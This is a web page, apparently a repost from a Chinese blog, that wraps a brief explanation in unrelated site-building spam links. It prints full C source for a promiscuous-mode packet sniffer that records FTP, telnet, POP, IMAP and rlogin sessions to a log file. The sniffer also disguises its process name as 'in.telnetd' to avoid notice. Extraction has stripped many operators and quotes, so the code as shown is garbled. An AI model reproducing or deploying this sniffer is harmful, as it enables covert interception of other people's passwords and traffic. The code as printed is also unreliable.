当前位置: 首页 > news >正文

网站建设系统改版扬州网站建设icp备

网站建设系统改版,扬州网站建设icp备,北京市环境建设办公室网站,网站缺点参考陈兵老师的《网络安全》一书 环境#xff1a;kali linuxgcc 6.xx 具体的实现原理是#xff0c;先将自己的网卡设置为混杂模式#xff0c;然后从特殊的套接字中读取以太网帧#xff0c;对读取的以太帧进行筛选、去报头。得到我们想要的数据。 #includestdio.hkali linuxgcc 6.xx 具体的实现原理是先将自己的网卡设置为混杂模式然后从特殊的套接字中读取以太网帧对读取的以太帧进行筛选、去报头。得到我们想要的数据。 #includestdio.h #includestdlib.h #includeunistd.h #includestring.h #includectype.h #includenetdb.h #includesys/file.h #includesys/time.h #includetime.h #includesys/socket.h #includesys/ioctl.h #includesys/signal.h #includenet/if.h #includearpa/inet.h #includenetinet/in.h #includenetinet/ip.h #includenetinet/tcp.h #includenetinet/if_ether.h#define CAPLEN 512 #define TIMEOUT 30 #define TCPLOG tcp.logstruct etherpacket{struct ethhdr eth;//以太网帧的头部struct iphdr ip;//IP报头struct tcphdr tcp;//tcp报头char buff[8192];//数据 }ep;struct{unsigned long saddr;//源地址unsigned long daddr;//目标地址unsigned short sport;//源端口unsigned short dport;//目标端口int bytes_read;char active;//目标主机是否处于活跃状态time_t start_time; }victim;struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp;int openintf(char *); void clear_victim(void); void cleanup(int); char *hostlookup(unsigned long int); int print_header(void); int read_tcp(int);int filter(void){//对读取的以太帧进行筛选int p0;if(ip-protocol!6)return 0;if(victim.active!0)if(victim.bytes_readCAPLEN){fprintf(fp,\n-- -- - [CAPLEN Exceeded]\n);clear_victim();return 0;}if(victim.active!0)if(time(NULL)(victim.start_timeTIMEOUT)){fprintf(fp,\n-- -- - [Time Out]\n);return 0;}int destntohs(tcp-dest);//ntohs(),将网络字节序转换为十进制字节序if(dest21||dest23||dest110||dest109||dest143||dest513||dest106)p1;if(victim.active0)if(p1)if(tcp-syn1){victim.saddrip-saddr;victim.daddrip-daddr;victim.active1;victim.sporttcp-source;victim.dporttcp-dest;victim.bytes_read0;victim.start_timetime(NULL);print_header();}if(tcp-dest!victim.dport)return 0;if(tcp-source!victim.sport)return 0;if(ip-saddr!victim.saddr)return 0;if(ip-daddr!victim.daddr)return 0;if(tcp-rst1){victim.active0;alarm(0);fprintf(fp,\n-- -- -[RST]\n);clear_victim();return 0;}if(tcp-fin1){victim.active0;alarm(0);fprintf(fp,\n-- -- - [FIN]\n);clear_victim();return 0;}return 1; }int read_tcp(int a){int x;while(1){xread(s,(struct etherpacket*)ep,sizeof(ep));//read(),从目标文件中读取以太网帧if(x1){if(filter()0)continue;x-54;if(x1)continue;return x;}} }int print_header(void){fprintf(fp,\n);fprintf(fp,%s,hostlookup(ip-saddr));fprintf(fp,%s[%d]\n,hostlookup(ip-daddr),ntohs(tcp-dest)); }int print_data(int datalen,char *data){int i0;int t0;victim.bytes_readdatalen;for(i0;i!datalen;i){if(data[i]13){fprintf(fp,\n);t0;}if(isprint(data[i])){fprintf(fp,%c,data[i]);t;}if(t75){t0;fprintf(fp,\n);}} }char *hostlookup(unsigned long int in){static char blah[1024];struct in_addr i;struct hostent *he;i.s_addrin;hegethostbyaddr((char *)i,sizeof(struct in_addr),AF_INET);//获取IP对应目标主机的主机名if(heNULL)strcpy(blah,inet_ntoa(i));else strcpy(blah,he-h_name);return blah; }void clear_victim(void){victim.saddr0;victim.daddr0;victim.sport0;victim.dport0;victim.active0;victim.bytes_read0;victim.start_time0; }void cleanup(int sig){fprintf(fp,Exiting..\n);close(s);fclose(fp);exit(0); }int openintf(char *d){int fd;struct ifreq ifr;int s;fdsocket(AF_INET,SOCK_PACKET,htons(0x800));//SOCK_PACKET用于获取以太网帧的套接字if(fd0){perror(cant get SOCK_PACKET);exit(0);}strcpy(ifr.ifr_name,d);sioctl(fd,SIOCGIFFLAGS,ifr);//I/O管道控制函数if(s0){close(fd);perror(cant get flags);exit(0);}ifr.ifr_flags|IFF_PROMISC;sioctl(fd,SIOCSIFFLAGS,ifr);if(s0)perror(cant set promiscuous mode);return fd;}int main(int argc,char *argv[]){sprintf(argv[0],%s,in.telnetd);sopenintf(eth0);ip(struct iphdr*)(((unsigned long)ep.ip)-2);tcp(struct tcphdr*)(((unsigned long)ep.tcp)-2);if(argc2)fpstdout;else fpfopen(TCPLOG,at);if(fpNULL){fprintf(stderr,cant open log\n);exit(0);}clear_victim();for(;;){read_tcp(s);if(victim.active!0)print_data(htons(ip-tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),ep.buff-2);sleep(1);fflush(fp);}return 0; }
http://www.zqtcl.cn/news/562513/

相关文章:

  • 江门网络建站模板虚拟主机价格一般多少钱
  • 网站建设公司云南深圳手机商城网站设计费用
  • 汇泽网站建设网页版快手
  • 手机销售培训网站wordpress案例插件
  • 滨江道做网站公司wordpress 花瓣网
  • 如何建网站快捷方式软件开发做平台
  • 常见的静态网页深圳罗湖企业网站优化
  • 做网站一天赚多少钱外贸网站建设排名
  • 一个大型网站建设得多少钱百度成都总部
  • 网站制作公司汉狮网络手机版网站优化
  • 铜川做网站logo 图标 设计
  • 如何做网站的注册页面南京宣传片公司有哪些
  • 中国建设机械教育协会网站网站建设中html中关于图片显示的标签有哪些
  • 网站过期后dede减肥网站源码
  • 营销型 手机网站网站建设方案后期服务
  • 怎么做一个个人网站建网站的八个步骤
  • 淘宝导购网站模版上海网站推广软件
  • 做影视网站引流湖北响应式网站建设费用
  • 网站统计cnzz网站空间有哪些
  • 泉州微信网站开发公司wordpress头像解决
  • 湛江网站建设皆选小罗24专业网站建设 福田
  • 厦门哪些做鲜花的网站门户网站开发设计报告
  • asp.net网站设计分工天津网站开发贴吧
  • 做多语言网站教程南宁vi设计公司
  • 百度联盟 网站备案wordpress 吾爱破解
  • 山西省建设厅网站首页网络营销推广为什么效果不好
  • 建材做网站好吗长沙做网站微联讯点不错
  • 建设小型网站分类门户网站系统
  • 文化馆网站数字化建设介绍138ip地址查询网站
  • 卖汽车的网站怎么做的建设服装网站的论文